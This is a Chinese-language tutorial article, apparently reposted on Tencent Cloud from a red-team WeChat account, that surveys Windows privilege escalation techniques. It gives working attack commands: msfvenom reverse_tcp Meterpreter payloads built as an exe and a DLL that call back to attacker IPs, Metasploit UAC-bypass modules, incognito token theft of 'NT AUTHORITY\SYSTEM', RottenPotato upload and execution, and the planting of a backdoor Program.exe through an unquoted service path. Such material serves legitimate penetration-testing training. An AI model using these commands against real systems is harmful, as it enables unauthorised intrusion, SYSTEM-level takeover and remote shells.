前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows提权总结(超详细)

Windows提权总结(超详细)

作者头像
红队蓝军
发布2024-07-16 13:33:20
1270
发布2024-07-16 13:33:20
举报
文章被收录于专栏:红队蓝军

在 Windows 中实现特权升级的最终目标是获得作为管理员或系统用户运行的权限,提权的关键是需要对受破坏的系统进行大量的信息搜集。

从 Webshell(apache)、数据库权限——>系统普通用户权限——>Administrator权限——>System权限

简介

Windows常用的提权方法有:

代码语言:javascript
复制
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- WEB中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权等

常规信息收集

代码语言:javascript
复制
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano | find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置 

系统内核溢出漏洞

手工查找补丁

代码语言:javascript
复制
systeminfo 查看补丁
wmic qfe get Description,HotFixID,InstalledOn  查看补丁信息

MSF后渗透模块

代码语言:javascript
复制
post/multi/recon/local_exploit_suggester
post/windows/gather/enum_patches

GitHub收集

代码语言:javascript
复制
https://github.com/SecWiki/windows-kernel-exploits

at命令

在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。 因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。

AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式

sc命令

适用于windows 7/8、03/08、12/16 因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权。 SC命令是XP系统中功能强大的DOS命令,SC是用于与服务控制管理器和服务进行通信的命令行程序。 通俗理解就是SC可以启动一个服务,命令如下。

代码语言:javascript
复制
sc Create systemcmd binPath= "cmd /K start" type= own  type= interact 

其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁。这里再解释一下 cmd /k start 这个命令,这个命令就是启动一个新的cmd窗口:

执行命令:

输入:sc start systemcmd,即可启动服务!

由于服务器有交互式检测:我们点进去

psexec提权

适用版本:Win2003 & Win2008 下载PSexec工具 https://download.sysinternals.com/files/PSTools.zip

提权命令 :

使用管理员身份运行的Cmd输入“Psexec -i -s -d cmd”命令提权:

代码语言:javascript
复制
psexec -i -s -d cmd

提权命令

代码语言:javascript
复制
psexec.exe -accepteula -s -i -d cmd.exe 

UAC绕过

什么是UAC

UAC(User Account Control)简称用户帐户控制,UAC 是Windows Vista以上的版本中引入了要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码

工作模式

代码语言:javascript
复制
执行特定操作---->能否提供管理员身份----->能(执行操作),反之

需要UAC的授权才能进行的操作:

代码语言:javascript
复制
- 配置Windows Update
- 增加、删除账户;更改账户类型
- 更改UAC的设置
- 安装ActiveX;安装、卸载程序
- 安装设备驱动程序
- 将文件移动/复制到ProgramFiles或Windows目录下
- 查看其它用户的文件夹

绕过UAC的几种思路

代码语言:javascript
复制
-  白名单劫持(利用白名单程序是该程序以系统权限启动且不用通知用户,只要我们找到相关程序劫持它,此时只要程序启动,也会带着我们的程序以系统权限启动。)
- DLL 劫持
- Windows 自身漏洞提权
- 远程注入
- COM 接口技术 

绕过UAC提权方法

这个绕过方法一般都是通过MSF来进行:

1.使用exploit/windows/loacal/ask#弹出UAC确认窗口,点击后获得system权限

2、bypassuac绕过

代码语言:javascript
复制
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack 

3、利用CVE-2019-1388绕过UAC提权

令牌窃取

适用于2008之前版本

什么是令牌

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

令牌窃取

令牌窃取就是通过假冒一个网络中的另一个用户进行各类操作

  • 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
  • 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。 同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。 默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。

还是通过MSF来进行:

首先需要将木马上传至需要提权的服务器中,然后执行命令进行令牌窃取提权。

代码语言:javascript
复制
meterpreter > use incognito # 先load

meterpreter > list_tokens -u # 列出令牌

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌

烂土豆提权

适用版本:Windows 7、8、10、2008、2012

什么是烂土豆提权

所谓的烂土豆提权就是俗称的MS16-075,其是一个本地提权,是针对本地用户的,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM”。ms16-075漏洞介绍:Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。微软将其定义为KB3164038RottenPotato(烂土豆)提权的原理可以简述如下:

代码语言:javascript
复制
(1). 欺骗“NT AUTHORITY\SYSTEM”帐户通过 NTLM 对我们控制的 TCP 端点进行身份验证。
(2) 中间人此身份验证尝试(NTLM 中继)在本地协商“NT AUTHORITY\SYSTEM”帐户的安全令牌。这是通过一系列 Windows API 调用完成的。
(3) 冒充我们刚刚协商好的令牌。仅当攻击者当前帐户有权模拟安全令牌时,才能做到这一点。这通常适用于大多数服务帐户,而不适用于大多数用户级帐户

资源地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

提权方法

代码语言:javascript
复制
meterpreter > upload /root/Rottenpotato/rottenpotato.exe

meterpreter > execute -HC -f rottenpotato.exe

meterpreter > use incognito

meterpreter > list_tokens -u

会发现令牌列表里面存在system的令牌,在用system的令牌进行提权 

可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

  1. 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
  2. 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

检测漏洞

执行:

代码语言:javascript
复制
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

先进行检测:

模拟添加服务

我们模拟添加一个服务:

代码语言:javascript
复制
sc create 服务名 binPath="可执行程序路径"

把QQ音乐添加为服务:

代码语言:javascript
复制
sc create QQMUSIC binPath= "C:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe"

设置为自动启动:

代码语言:javascript
复制
sc config 服务名 start= AUTO
start=AUTO  (自动)
start=DEMAND (手动)
start=DISABLED  (禁用)

检测试试:

这是有问题的服务。

模拟攻击

kali生成木马:

代码语言:javascript
复制
msfvenom -p  windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 11 -b '\x00' lhost=192.168.3.62 lport=9527 -f exe -o Program.exe

将木马放到C盘

kali上做监听:

启动服务:

正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程:

代码语言:javascript
复制
set AutoRunScript migrate -f

DLL劫持提权

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径。

Windows查找DLL目录及其顺序如下:

代码语言:javascript
复制
1、应用程序加载的目录  
2、C:\Windows\System32  
3、C:\Windows\System  
4、C:\Windows  
5、当前工作目录Current Working Directory,CWD  
6、在PATH环境变量的目录(先系统后用户)  

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件

过程:

代码语言:javascript
复制
1、收集进程加载的dll

2、制作dll并上传

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.131 lport=6666 -f dll >/opt/test.dll  

3、替换dll

4、启动应用,使用msf监听端口接收反弹回来的shell
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 常规信息收集
  • 系统内核溢出漏洞
    • 手工查找补丁
      • MSF后渗透模块
        • GitHub收集
        • at命令
        • sc命令
        • psexec提权
        • UAC绕过
        • 令牌窃取
        • 烂土豆提权
        • 可信任服务路径漏洞
          • 检测漏洞
            • 模拟添加服务
              • 模拟攻击
              • DLL劫持提权
              相关产品与服务
              多因子身份认证
              多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档